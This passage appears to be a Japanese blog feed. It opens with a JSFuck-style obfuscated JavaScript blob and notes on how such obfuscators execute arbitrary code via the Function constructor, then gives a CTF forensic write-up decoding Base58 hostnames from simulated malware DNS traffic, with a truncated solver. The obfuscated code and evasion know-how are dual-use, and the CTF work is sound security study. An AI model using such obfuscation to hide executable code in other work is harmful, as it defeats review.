+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]([+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()'
うんこ

参考

難読化シェル芸を思いついた原典がコレです。

難読化されたJavaScriptコードを読む : document

コードを読もうとしたとき、記号プログラミングの手法によって読みにくくなっていることがあります。 そうした場合は、開発ツールのコンソールを使ってデコードするところから始めます。 難読化ツールとしては jjencode が有名です。 これらの難読化ツールは基本的に number.constructor.constructor を使うことで Function を引き出し、 Function(実行したいスクリプト本体文字列) とすることで任意のコードを実行しています。 ( boolean や string を使っても同様のことが出来るので、 Number がハズレだったら String や Boolean を試すとよいでしょう)

第29回激しいシェル芸勉強会に参加させて頂きました!

kanata6ヶ月前に追加

知らないコマンド、知らないオプション、毎回新しい知見が得られます!
今回も難しかった。

ほぼ自分用のメモとして残しておきます。


第29回シェル芸勉強会まとめ

今回も共催の 日本UNIXユーザ会様、会場提供の さくらインターネット 様、参加者の皆様のご協力のもと、シェル芸勉強会を開催しました。 今回の問題 は、ここ数回では難易度が下がったようで、会場では安堵の声、体力を奪われなかったという声が聞かれました(どんな会なんだ・・・)。

【問題と解答】第29回激しいシェル芸勉強会


jus共催 第29回シェル芸勉強会 @さくらインターネットさん

知見メモ

  • 空行の削除、最修行に改行入れるのは、"awk NF"が超便利!
  • rsコマンド便利(確信)
  • datamashというコマンドがある(トリビア)

難読化シェル芸

大阪会場ではたいちょー氏が日本語base64難読化シェル芸LTをしてくれたようだ。
スライド超見たい

Trend Micro CTF 2017 Writeup

kanata6ヶ月前に追加

CTF Writeup TMCTF2017

結果&感想

Trend Micro CTF 2017 に、某チームで参加しました。
今年は善戦しましたよ!(国内10位以内)。二問解けました。
解けたけど、途中までチームの方が解いてくれたやつのオイシイ所だけ持っていった感じだったりします。

という訳で、解ってる部分のwriteupです。

Trend Micro CTF 2017 オンライン予選 ランキングページ
https://ctf.trendmicro.com/ranking.html

Forensic 100

pcapのファイルが渡されます。
早速Wiresharkで読んでみるとこんな感じ。

20170625_tmctf_forensic100.jpg

DNS通信の羅列です。なんかメチャクチャなホスト名のAレコードを引っ張ってこようとしているように見えます。

Malwareの通信を模している

どうやら、以下のマルウェアを模した通信のようです(チームの方が調査して教えてくれました)

遠隔操作ウイルスの制御にDNSプロトコルを使用する事案への注意喚起
https://www.lac.co.jp/lacwatch/alert/20160201_000310.html

遠隔操作ウイルスの制御にDNSプロトコルを使用する事案への注意喚起 | LAC WATCH | 株式会社ラック

「遠隔操作ウイルスの制御にDNSプロトコルを使用する事案への注意喚起」のページです。ラックは、セキュリティ対策とシステム開発より培った技術と経験より、ITを活用する企業に対して技術情報の共有や、情報セキュリティやIT活用に対する提言などの有用な情報発信をします。

余談ですが、一般的な企業の外部との通信環境として、DNSのログまで取らなかったり、DNS通信のためにファイアウォールのポートを開けてたりするので、通信の偽装方法としてはかなり賢いやり方かと思います。

そして、そのチームの方が、そのメチャクチャなホスト名を抜き出してくれます。

ASfsbGivEQsT2aQPHzaB
5GBJZEAWX7WJASGCg5Br
9TvJjPCj9kRW9fk5XU2b
rvAptS4tZnjLwCNsXn5N
9jUqipSo5xgNR6EM3Zpw
8kdhrsqDd3Gb5wSSPqKN
8wkw5kPRgi5ihJnGYxid
p7vfcECXgiGtisBnZiD9
C2kv3MzxMXGZiSgQpfmt
y3vYWgxkk9ygyqJcRDnD
PB2gk8K9SJFcKrPimJja
9REhmzgECtjmEMYVz5QY
tsHgSBzRBT8FbQx3mvpX
jEkoi86dM8n9eQuZ38wj
8Jvg2HSvjr8qyEtur3E5
vPfFiANqqbY4J4jbCyNr
UrJLW8fGVvr9mdAyAqpJ
sk8h9X8t1LtyXV2cMoxa
j2ELd8EoY3aGDatsba5m
VkNwpptkVumdo8sxXoYS
ta6fKKAC3MXfLVvkHYSs
Gs9fnyXPMgitffJ49xt4
oCxCHtyoWgytH6sudYPk
SypJUuCWfsS1R771e95R
eRvie3RgQjEwpVL4HsnC
EJeEEzPWVtJQpTcheGGB
sMzqMuR3y8eui2wU93H5
ZeDVauv4qQYPWdpub8Ys
J9X3mQCZ7B4XsdyTUSyT
goeboTbqpATAnuCDRzYn
pd6sQ5PggQBdoUYjABcP
HgUp34UmzHSGaRScoHzF
T8W51c8iY3X6uNCxRwnZ
LCx2C4PBwZN24wKWFAoL
vSTGaeVcxBQ3UHo9xpY5
HoHJaL1pPaxAhFhei73H
5k5doyAoKhvTdvNehEhJ
ocCoxRZKbBQP8f7cZgTm
CuD1ekRNQ6o7ZysnuDwf
vvmotn9Wap7DeGZGnS94
g7wUSB4B7VUcSEcT9G18
yYuKh8fjBAw9fJrrgZmZ
97FnKJWgXf9Ju9648DDB
gh534XrjqMLiBXFq2dnf
qmG845ndTuXSR1bMRpqp
jFeJN52D9KKKaYqTgoCq
o9Y1nt9pwahd3v1srMpj
VTPt46SH2RKU21ZfiqEN
of8hkgxxLTLtkWPRPJeB
9WSVGzALTZ3L8QVsq1uX
HwUKYkmjbX71Phrzfnhz
V5ffFCtjiuF1D4gtMY1c
f9ieUzKWF7voscgM2zcV
oiDdYCfpKJGrkzpDZB1c
QTPDZYyLbzZ9hE2B1RAw
V7e4NGuG8TPQmaXvet3r
Ze3Q7zZhmcdXhwbd8Et7
JZHcvidkLCb1JDrNe1dX
6fjddFonVfoMWNcAHLH5
BypDgNtAwK2JkABnkMAs
BQi16XaNToXzTC4Ug8UN
gyUfRjXrwzTYckVfE7Vo
e5kdwYLX4FQ12eQm3BbW
76tkfsZUUAm3gHHk3roT
CiQ8kNejjitLaRVhfeuG
yfMkotR8TVmYPGqEmcS1
qRMWJmigBwg7ZbG4hSDC
dSq83eKsFyig8A4EDsPF
XnGKAgUe1UYHvzahFBhn
eyhgmfdbheRAEAkMqVn5
PBmEhv7bC4aNUZ465Hus
2JpJF5L4tkfbJsAVmCrt
REhCuLhUqXqVmFBqknho
x2BfRQqAZMB6f4udU3Xo
U4qED1V5kEqA1qVGytjW
B2pQGbjuacAjf2C8n7QS
UTJhFsrmQp12sUE7WJ6w
tTg4bnjNDzyHbJSiVWhr
2EuES8qZbVFP5478HpVh
8dpCvz6DJJybAEfcsg76
pGLBatEMvjiHTC5LhdAf
PbQiePVedCjEQL21Pn6i
GLTPZfWqHVz3ZtkR4iDF
Zyn3L5ZGWjCJ3JgzCTRm
YeuXfW2XcNMipgv4c97i
8TAbL3m5rhV5ShtjBAqw
dfszh1erSpVDMuijNpo2
sC6czF2fq6mGMKe8hwWo
BwVt7sRaAYtp94AEw5AJ
HUdvfRzsQ7XBMQBMDHbp
mCkWortnVk1krAVUK8Mf
GQezUgvSmX6pBgXDrGkx
yNmWpQg8DeF5saQApGKM
zshqTmGrrJm7s4TYajBs
RKatfjKBLgto6YHd548A
LADReAEmymFbDg31U6dJ
Pp1XbHujeMe3z2QQqmft
Az2LRpfjz6Rh64cVRK6D
adBBsL9quZoiZB339vLD
Mx4xRRaU7N5NxSnPz4Zj
uYm4V2uUoTmA4jaS7atS
zbEBujiVf2wTz18ymbPF
apXrc53WNL9iYa7nqHUA
gvn1Bx9L5hadd5A97ss2
NhSPmwZGBu7rj2f43uwf
dGamzZpGxEascuGT48p9
wgm49Ck6QovrCj7g3KAZ
XEopDkmeReSRNkEipH2U
4V7Vim425LAJsghg1nqX
DRHx4QNAe9TKBiRYPw2w
PdPi9gWHPpnwHJyX896E
rCvXadRfQrEuushKthcn
vUyUXt8MZWcHLujDkKFq
hama3vxFTDH7N8QD5Kch
Nevv7KPDo95DagyyZHGy
LT7DKEusvJ8SZuodBEeW
wwJ1qfCMasEBBiPXov6h
UexhazHeJRTEVscjZ2bN
iScQs2YuqPnej26QShcr
wwyunJZu2S9yqo7i6Psf
pWXAmZcQ7Nba7QpAfaH4
NuGnhzUb9KcVZmJkfRzg
D3egFR9C79gQYybVMpd6
Kxz5xRzS4WAhLLdqwUFx
NBw3hUV7nMywSR6Cg2aj
nv61ZWVNgAofwXuthzfG
kAyae51WNWjtbtpCSEQL
PY1uTwWZ13bthQaoCeZ5
3nomwgWB4EBaimmu78qn
AquqjeCw73XK4UXGR61T
HLxgSiuGjRRcj6489cuW
fQ7gyU6ckPo6QL8cGPvH
j6CXJ4w8CakQMmwq7JGp
PToD826chKGtH5A2RKCk
Hc7NQA79MvHvXdtByDC4
iPaivSRmLXZa5W8vr4F7
JqbK8ghZcQJuSGWTaQwQ
jjABhkmWvDvs6HHyW3j8
XK6cPijnTVvCgDN63Nrm
suNkMCnbkiWRZfgu8pqc
kVze5LxGnVWPmtmnVv4u
nssrKhd1SBPU17vps76M
iHontgDCbfxtp9BZFt8E
YtZMUghzzxQxTKFGGg9b
L6eRrrFfjYx15E4GtAmZ
5wZA5oxE8atxtdaWc1qf
Q7wMMvzR8QHx5Xw7imGX
h4M58Kiknsw7urRDkitH
2EAxKPLsbp4eAERFFNT3
Vy6XdymAGGkok1KcM5EW
WSpdEjWJpdi36dYsXCTr
bLYqXuMFHViL5GP9HFJh
Mez6hsvcsscaLUUz3KhW
D9owzzczVAk8GzDkkrT1
Sqxs6oG3Q6isAHUAVYUb
iRaqm3AjSazJf5BsA6Xx
xc9LV25nKvTKjK6Q4UEX
WvMnEM5iKTmwWsoHvGB4
EnNNN34f9mfavgdTfG9W
ovwysP4AxHK4iHipuv5m
to1ugHG2vFgVafweSaFh
63qhYqEc9HHmJaFRJ8bS
JBLBEi9LKmsDCufc6u6F
QCshYApRFKKGYWEgMaWA
BHSLEfwA8KrZyF2Whbyu
NiskF6RWVJMpBX2g7oqU
j3W73H4E5ybHUqQx5HeK
pPgDFSxRMtVCee8U5KmU
XDPDFHEY9ayoDGE3P6UM
Mu6u4GPwMxoT8r2hKrZi
gMvngG5ujwKm5FCX1DQN
PAdzTtQPMuVfNSq5YL8n
jRpT1UFDWFV6PQ616hX3
92iTiMQbNN41VgKE1Zp5
4qG3nYK6DJCG1yssE71H
xYudvTV2vRdx4kLQvMLc
7UPfCfjswRxptxyffRcM
NV4fpnSXHKVKVNo7rnmb
ZjyAgQmNiA4tG2yaVLqK
Q6mdzH914mH7inV9keb4
evbazKxFhumbhtKr4YAm
7VqUxTiwGrqcsdg9XwHu
wZG69BmoRkhJhVFRkxe2
qSQGrk6qGMP4MPKYZXzC
JEU14sq3rGEU23avuKUj
CPcEVcMboGvjH6N7TG8z
gQmnhrXaDQVqQ6dBiGwg
3eESUiXFQxZLZFecXiu1
gHG7p75QCedSV5EEwdpy
EL1rJWTji8WvAKDGpkqX
KDxJPQW78DmTtdVDNWgE
VqkBRKp4HiYcSV3WZ71v
pm6LzkEW7UyoQnF3AfcV
uFp4ogxeA9vPzZ3LoVFS
ts9CYgPxJW8i2KpUW1bP
itDsYqqr6tK3wvLW3CWd
zWrDWowzgSoFHZQ6EqiL
pfVbfuvj5FyURHsmDecG
FnnAdBFckx6hJeuagNNb
K4iyT9KfPDUPoGXprsGc
peVY9SRU3nMVjuFB22zi
qZxPwASjebDepePoe3Lb
TDwK8XFTx8JaKr5xXyGk
w7cqBCzvhVWQvkRjyWhF
YmfRc3S2814fatrghk9C
phAcHkLfNhvU9yUmsDmw
WpUXQH9ZnxUPRDVN3oEJ
hvG5ptZF9YJtSQdKATni
f7Ut2tis18xaKdiARRi2
cQiD1GTtd7NFtq9TxNmL
7C2vQNGneNpGJPWb9mZM
G3g4CCHaunsKyXExXL9y
EjBwHq6H9unt9wAiCGVH
32mvVRZbLMF4CpWRiqW8
nVqCx4PpCdopakRUqZfX
2iEJ4UKtU4CEYUMH23sB
2XSeveHgoNtTZvaziunD
XHMHSTJe3VKYRy4JQSs3
W3xe3apFCkwS33mea2gf
giqwhGTifa2QAjgGsdae
1RejMC5dqWjAMfXMmC6m
A3b5DEDZAP5XgJqi6vZM
Sho8CNWQAZ1xD2RKGyCr
8gCx1zsfpuL5ffFmzC7K
rzZ9ZxoWRHrnWmS9E5rs
gtGRn5kMtVe8jnYXZeoV
xYt7uvFeLjXRfmaDXt7S
mD5pz9nNwXTqZ1WhUN74
3CFUCeMD2ZFpT68gme2T
iT17Fhwuh1EQekVwxDrQ
sTD2tRh3PHRatw49h9vi
4FUyNnh3BJwuq9UykbJ7
kq9faJQxuJiwxWRUBD9T
K9G9dBn1AhcDwogPyqU3
rFneZ37FL56NvaPXgVLX
7d2wY7JbrzuY3SHhjECW
yFWGBSpGurNmCUFf4a9b
LvH8xnKXyPpLjNyBcsPT
aXET3299mhHaXKTpBApD
bukmRnpMkwqUJyQAvhxq
iDRkrZTfKYws43sfzfab
xEEWL6uaSZLTjze8avxq
tDemvaPgjfMcfvqvjz66
UAnraPLbymzo9PL5imY2
6LPinAGSJi6q3oSPAvYg
boMWbDWrNbsS56v64KBa
iLS28qQWdL5t3ADvL5eC
R1EDEDzx74zYL3WVNcJe
nBQFprxj7U4hzDm22edM
xLpR5daeYKmKtTcjEanU
Lv6obrrXW5JWbEoKn4qG
patrf76fKwKMZnvwxUhz
3iSLkfZQLgQoJHWvzVCR
E7e7GmJwgLPri45ctU4W
NuN72W8UyWzGTK

ぱっと見、Base64っぽいので、デコードしてみますが、なんかよく解らないバイナリの値になりました。
よく見るとBase64で使われるはずの +/ が見当たりません。なんの文字が使われているかちょっと確認してみましょう。
シェル芸が光ります。

$ cat file5_dns.txt|grep -o .|sort|uniq|xargs|tr -d ' '
123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz

Base ? encoding

数字・英大文字・英小文字・記号は無し
という事が解ります。

Base64ではなくて、他のエンコーディング形式かもしれません。
予め、以下にまとめてあるので確認してみます。

raintrees.net - CTF Crypto - Base N encoding
https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Crypto#Base-N-encoding

以下、抜粋

方式 使用される文字 参考
Base58 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz Bitcoinに利用
Base62 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 JavaScriptの難読化等

この特徴に合致しそうなのが、Base58とBase62であることが解ります。なんというマニアックなエンコード方式w

使われている文字をもう一度確認してみましょう。

123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz

数字 0 英大文字 I O 英小文字 l が見当たりませんね。実はこれ、Base58の特徴と合致します。

Base58は、Bitcoinに利用されているエンコーディング方式で、数字として間違えやすい0OやIlを意図的に除外しているそうです(知らんけど)

Base58によるdecode

そんな訳でBase58でデコードしてみます。
ググると以下が使えそうなことが解りました。

https://asecuritysite.com/encryption/base58

後は、やるだけ。以下、ソルバ。

import sys

val='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